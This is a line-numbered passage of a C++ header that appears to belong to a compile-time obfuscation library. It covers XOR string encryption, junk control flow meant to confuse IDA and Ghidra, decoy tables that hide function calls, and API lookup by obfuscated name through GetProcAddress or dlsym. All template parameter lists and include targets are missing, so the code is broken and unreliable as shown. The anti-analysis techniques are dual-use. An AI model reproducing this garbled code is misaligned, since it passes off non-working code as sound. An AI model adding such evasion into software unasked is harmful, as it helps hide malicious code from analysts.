31 | #if defined(_MSC_VER) && !defined(__clang__) 32 | #define INLINE __forceinline // Visual C++ 33 | #else 34 | #define INLINE __attribute__((always_inline)) inline // GCC/G++/CLANG 35 | #endif 36 | #else 37 | #define INLINE inline // Regular inline doesn't always inline 38 | #endif 39 | 40 | // __TIME__ && __COUNTER__ both used as a random provider (compile-time) (XX:XX:XX) 41 | #define CTimeSeed ((__COUNTER__ + __TIME__[0] + __TIME__[1] + __TIME__[3] + __TIME__[4] +\ 42 | __TIME__[6] + __TIME__[7]) * 2654435761u) 43 | #define RND(Min, Max) (Min + (CTimeSeed % (Max - Min + 1))) 44 | 45 | // Normal & threadlocal modes 46 | #define OBF_KEY_NORMAL(x, type, size, key) []() {\ 47 | constexpr static auto data = obf::obfuscator(x);\ 48 | return data;\ 49 | }() 50 | #define OBF_KEY_THREADLOCAL(x, type, size, key) []() -> obf::decryptor& {\ 51 | constexpr static auto data = obf::obfuscator(x);\ 52 | thread_local auto decryptor = obf::decryptor(data);\ 53 | return decryptor;\ 54 | }() 55 | #define OBF_NORMAL(x) OBF_KEY_NORMAL(x, obf::clean_type, obf::getsize(x), (char)RND(1, 255)) 56 | #define OBF_THREADLOCAL(x) OBF_KEY_THREADLOCAL(x, obf::clean_type, obf::getsize(x), (char)RND(1, 255)) 57 | 58 | #if ENCRYPT_MODE == THREADLOCAL 59 | #define OBF(x) (meta::decay_t) OBF_THREADLOCAL(x) 60 | #else 61 | #define OBF(x) (meta::decay_t) OBF_NORMAL(x) 62 | #endif 63 | 64 | // Pointer-based call hiding (Crossplatform) 65 | #define DYNAMIC_HIDE_CALL(x, ...) ((decltype(x)) obf::ptr_hider().get())(__VA_ARGS__) 66 | #define STATIC_HIDE_CALL(x, ...) ((decltype(x)) obf::static_storager[OBF(5)])(__VA_ARGS__) 67 | #if CALL_HIDE_MODE == STATIC 68 | #define CALL(x, ...) STATIC_HIDE_CALL(x, __VA_ARGS__) 69 | #elif CALL_HIDE_MODE == DYNAMIC 70 | #define CALL(x, ...) DYNAMIC_HIDE_CALL(x, __VA_ARGS__) 71 | #endif 72 | // Symbol-based call hiding (different for Linux & windows) 73 | #if defined(__linux__) || defined(__ANDROID__) 74 | #include 75 | #define CALL_EXPORT(mtd, def) ((def)(dlsym(RTLD_DEFAULT, OBF(mtd)))) 76 | #elif _WIN32 77 | #include 78 | #if defined(_MSC_VER) && !defined(__clang__) // in VisualC++ we cannot encrypt LPCWSTRs for now (ihate windows.h) 79 | #define CALL_EXPORT(lib, mtd, def) ((def)(GetProcAddress(LoadLibrary(lib), mtd))) 80 | #else 81 | #define CALL_EXPORT(lib, mtd, def) ((def)(GetProcAddress(LoadLibrary(OBF(lib)), OBF(mtd)))) 82 | #endif 83 | #endif 84 | 85 | // Binary watermarking for IDA/GHIDRA that bypasses compiler optimizations 86 | #define WATERMARK(...)\ 87 | const char * data[] = {__VA_ARGS__};\ 88 | for (volatile int i = 0; i < sizeof(data)/sizeof(data[0]); i++)\ 89 | obf::obf_draw(data[i]);\ 90 | 91 | // This was created so the header works without type_traits (on gcc and other compilers) 92 | // It basically replicates type_traits, it might look scary just skip it 93 | namespace meta { 94 | 95 | template 96 | struct integral_constant { 97 | static constexpr T value = v; 98 | using value_type = T; 99 | using type = integral_constant; // using injected-class-name 100 | constexpr operator value_type() const noexcept { return value; } 101 | constexpr value_type operator()() const noexcept { return value; } // since c++14 102 | }; 103 | 104 | typedef integral_constant false_type; 105 | typedef integral_constant true_type; 106 | 107 | // primary template 108 | template 109 | struct is_function : false_type {}; 110 | 111 | // specialization for regular functions 112 | template 113 | struct is_function : true_type {}; 114 | 115 | // specialization for variadic functions such as std::printf 116 | template 117 | struct is_function : true_type {}; 118 | 119 | // specialization for function types that have cv-qualifiers 120 | template 121 | struct is_function : true_type {}; 122 | template 123 | struct is_function : true_type {}; 124 | template 125 | struct is_function : true_type {}; 126 | template 127 | struct is_function : true_type {}; 128 | template 129 | struct is_function : true_type {}; 130 | template 131 | struct is_function : true_type {}; 132 | 133 | // specialization for function types that have ref-qualifiers 134 | template 135 | struct is_function : true_type {}; 136 | template 137 | struct is_function : true_type {}; 138 | template 139 | struct is_function : true_type {}; 140 | template 141 | struct is_function : true_type {}; 142 | template 143 | struct is_function : true_type {}; 144 | template 145 | struct is_function : true_type {}; 146 | template 147 | struct is_function : true_type {}; 148 | template 149 | struct is_function : true_type {}; 150 | template 151 | struct is_function : true_type {}; 152 | template 153 | struct is_function : true_type {}; 154 | template 155 | struct is_function : true_type {}; 156 | template 157 | struct is_function : true_type {}; 158 | template 159 | struct is_function : true_type {}; 160 | template 161 | struct is_function : true_type {}; 162 | template 163 | struct is_function : true_type {}; 164 | template 165 | struct is_function : true_type {}; 166 | 167 | template 168 | struct is_array : false_type {}; 169 | template 170 | struct is_array : true_type {}; 171 | template 172 | struct is_array : true_type {}; 173 | 174 | template 175 | struct remove_extent { using type = T; }; 176 | template 177 | struct remove_extent { using type = T; }; 178 | template 179 | struct remove_extent { using type = T; }; 180 | 181 | template struct remove_reference { typedef T type; }; 182 | template struct remove_reference { typedef T type; }; 183 | template struct remove_reference { typedef T type; }; 184 | 185 | template struct remove_cv { typedef T type; }; 186 | template struct remove_cv { typedef T type; }; 187 | template struct remove_cv { typedef T type; }; 188 | template struct remove_cv { typedef T type; }; 189 | 190 | template struct remove_const { typedef T type; }; 191 | template struct remove_const { typedef T type; }; 192 | 193 | template struct remove_volatile { typedef T type; }; 194 | template struct remove_volatile { typedef T type; }; 195 | 196 | template 197 | struct remove_all_extents { typedef T type; }; 198 | template 199 | struct remove_all_extents { 200 | typedef typename remove_all_extents::type type; 201 | }; 202 | template 203 | struct remove_all_extents { 204 | typedef typename remove_all_extents::type type; 205 | }; 206 | 207 | template 208 | struct conditional { using type = T; }; 209 | template 210 | struct conditional { using type = F; }; 211 | 212 | template 213 | struct type_identity { using type = T; }; // or use std::type_identity (since C++20) 214 | template 215 | auto try_add_pointer(int)->type_identity::type*>; // usual case 216 | template 217 | auto try_add_pointer(...)->type_identity; // unusual case (cannot form std::remove_reference::type*) 218 | template 219 | struct add_pointer : decltype(try_add_pointer(0)) {}; 220 | 221 | // Helpers from C++14 222 | template 223 | using remove_cv_t = typename remove_cv::type; 224 | template 225 | using remove_const_t = typename remove_const::type; 226 | template 227 | using remove_volatile_t = typename remove_volatile::type; 228 | template 229 | using remove_reference_t = typename remove_reference::type; 230 | template 231 | using remove_all_extents_t = typename remove_all_extents::type; 232 | 233 | template 234 | struct decay { 235 | private: 236 | typedef typename remove_reference::type U; 237 | public: 238 | typedef typename conditional< 239 | is_array::value, 240 | typename add_pointer::type>::type, 241 | typename conditional< 242 | is_function::value, 243 | typename add_pointer::type, 244 | typename remove_cv::type 245 | >::type 246 | >::type type; 247 | }; 248 | 249 | template 250 | using decay_t = typename decay::type; 251 | } 252 | 253 | namespace obf { 254 | 255 | template 256 | using clean_type = typename meta::remove_const_t>; 257 | 258 | template 259 | static T ensure_threadlocal() { thread_local T v = value; return v; } 260 | 261 | template 262 | static constexpr T ensure_constexpr() { return value; } 263 | 264 | template 265 | constexpr size_t getsize(const T(&)[size]) { return size; } 266 | 267 | template 268 | constexpr size_t getsize(T) { return 1; } 269 | 270 | template 271 | constexpr static T gettype(const T(&)[size]); 272 | 273 | template 274 | constexpr static T gettype(T); 275 | 276 | // Decryption with control flow to confuse IDA/GHIDRA 277 | template 278 | INLINE void xord(T* data, int* stack, int* value) { 279 | #if CONTROL_FLOW == true 280 | for (int i = 0; i < size; i++) { 281 | goto l_1; 282 | 283 | l_increase: 284 | *stack += 1; // -Wunused-value 285 | 286 | l_1: 287 | if (*stack == *value + 1) { 288 | data[i] = data[i] ^ (*value + 1); 289 | goto l_increase; 290 | } 291 | if (*stack == *value + 2) { 292 | data[i] = data[i] ^ (*value + 2); 293 | goto l_increase; 294 | } 295 | if (*stack == *value + 0) { 296 | data[i] = data[i] ^ static_cast(key + i); // real 297 | continue; 298 | } 299 | if (*stack == *value + 4) { 300 | data[i] = data[i] ^ (*value + 3); 301 | goto l_increase; 302 | } 303 | if (*stack == *value + 5) { 304 | data[i] = data[i] ^ (*value + 4); 305 | goto l_increase; 306 | } 307 | } 308 | #else 309 | for (int i = 0; i < size; i++) 310 | data[i] = data[i] ^ static_cast(key + i); // no CONTROL_FLOW (optimized) 311 | #endif 312 | } 313 | 314 | template 315 | class obfuscator { 316 | public: 317 | INLINE constexpr obfuscator(const T* data) { 318 | for (int i = 0; i < size; i++) 319 | m_data[i] = data[i] ^ static_cast(key + i); 320 | } 321 | 322 | INLINE constexpr obfuscator(const T data) { 323 | m_data[0] = data ^ key; 324 | } 325 | 326 | INLINE T* decrypt() { 327 | if (!decrypted) { 328 | xord(m_data, &stack, &value); 329 | } 330 | decrypted = true; 331 | return m_data; 332 | } 333 | 334 | INLINE operator T* () { 335 | return decrypt(); 336 | } 337 | 338 | INLINE operator T () { 339 | return decrypt()[0]; 340 | } 341 | 342 | int stack = 0, value = 0; 343 | T result = NULL; 344 | 345 | bool decrypted = false; 346 | T m_data[size]{}; 347 | }; 348 | 349 | template 350 | class decryptor { 351 | public: 352 | INLINE decryptor(const obfuscator data) { 353 | for (int i = 0; i < size; i++) 354 | m_data[i] = data.m_data[i]; 355 | } 356 | 357 | INLINE T* decrypt() { 358 | if (!decrypted) { 359 | xord(m_data, &stack, &value); 360 | } 361 | decrypted = true; 362 | return m_data; 363 | } 364 | 365 | INLINE operator T* () { 366 | return decrypt(); 367 | } 368 | 369 | INLINE operator T () { 370 | return decrypt()[0]; 371 | } 372 | 373 | int stack = 0, value = 0; 374 | T result = NULL; 375 | 376 | bool decrypted = false; 377 | T m_data[size]{}; 378 | }; 379 | 380 | volatile void obf_draw_orig(const char* param) { } // to avoid crashing we assign a real func 381 | typedef volatile void(*draw_ptr) (const char*); // define a draw function 382 | volatile draw_ptr obf_draw = reinterpret_cast(obf_draw_orig); // assign draw_orig to avoid segfault 383 | 384 | volatile void main_decoy() { 385 | // Message for crackers ;) 386 | WATERMARK("Stop reversing the program", 387 | "Reconsider your life choices", 388 | "And go touch some grass", ""); 389 | } 390 | 391 | // Fake decoy functions to hide the original one (for call hiding) 392 | void decoy_1() { main_decoy(); } 393 | void decoy_2() { main_decoy(); } 394 | void decoy_3() { main_decoy(); } 395 | void decoy_4() { main_decoy(); } 396 | void decoy_5() { main_decoy(); } 397 | void decoy_6() { main_decoy(); } 398 | void decoy_7() { main_decoy(); } 399 | void decoy_8() { main_decoy(); } 400 | void decoy_9() { main_decoy(); } 401 | void decoy_10() { main_decoy(); } 402 | 403 | // We cannot randomize the real function index while using static storager sadly 404 | // So it's just a hardcoded index, for example 5 (like here) 405 | template 406 | T static_storager[] = { 407 | reinterpret_cast(&decoy_1), 408 | reinterpret_cast(&decoy_2), 409 | reinterpret_cast(&decoy_3), 410 | reinterpret_cast(&decoy_4), 411 | reinterpret_cast(&decoy_5), 412 | reinterpret_cast(real), 413 | reinterpret_cast(&decoy_6), 414 | reinterpret_cast(&decoy_7), 415 | reinterpret_cast(&decoy_1), 416 | reinterpret_cast(&decoy_2), 417 | reinterpret_cast(&decoy_3), 418 | reinterpret_cast(&decoy_4), 419 | reinterpret_cast(&decoy_5), 420 | reinterpret_cast(&decoy_1), 421 | reinterpret_cast(&decoy_2), 422 | reinterpret_cast(&decoy_3) 423 | }; 424 | 425 | // In dynamic case we can actually randomize the index 426 | template 427 | class ptr_hider { 428 | public: 429 | INLINE ptr_hider() { 430 | real_index = OBF(index); 431 | START: 432 | int storager_size = sizeof(storager) / sizeof(storager[0]); 433 | if (real_index >= 0 && real_index < storager_size) { 434 | storager[real_index] = real; 435 | goto END; 436 | } 437 | if (real_index + 1 >= 0 && real_index + 1 < storager_size) { 438 | storager[real_index + 1] = reinterpret_cast(&decoy_1); 439 | goto START; 440 | } 441 | if (real_index + 2 >= 0 && real_index + 2 < storager_size) { 442 | storager[real_index + 2] = reinterpret_cast(&decoy_2); 443 | goto END; 444 | } 445 | if (real_index + 2 >= 0 && real_index + 3 < storager_size) { 446 | storager[real_index + 3] = reinterpret_cast(&decoy_3); 447 | goto START; 448 | } 449 | if (real_index + 2 >= 0 && real_index + 4 < storager_size) { 450 | storager[real_index + 4] = reinterpret_cast(&decoy_4); 451 | goto END; 452 | } 453 | if (real_index + 2 >= 0 && real_index + 5 < storager_size) { 454 | storager[real_index + 5] = reinterpret_cast(&decoy_5); 455 | goto START; 456 | } 457 | END: return; 458 | } 459 | 460 | T get() { 461 | return storager[real_index]; 462 | } 463 | 464 | int real_index = 0; 465 | T storager[5]; 466 | }; 467 | } 468 | 469 | #endif --------------------------------------------------------------------------------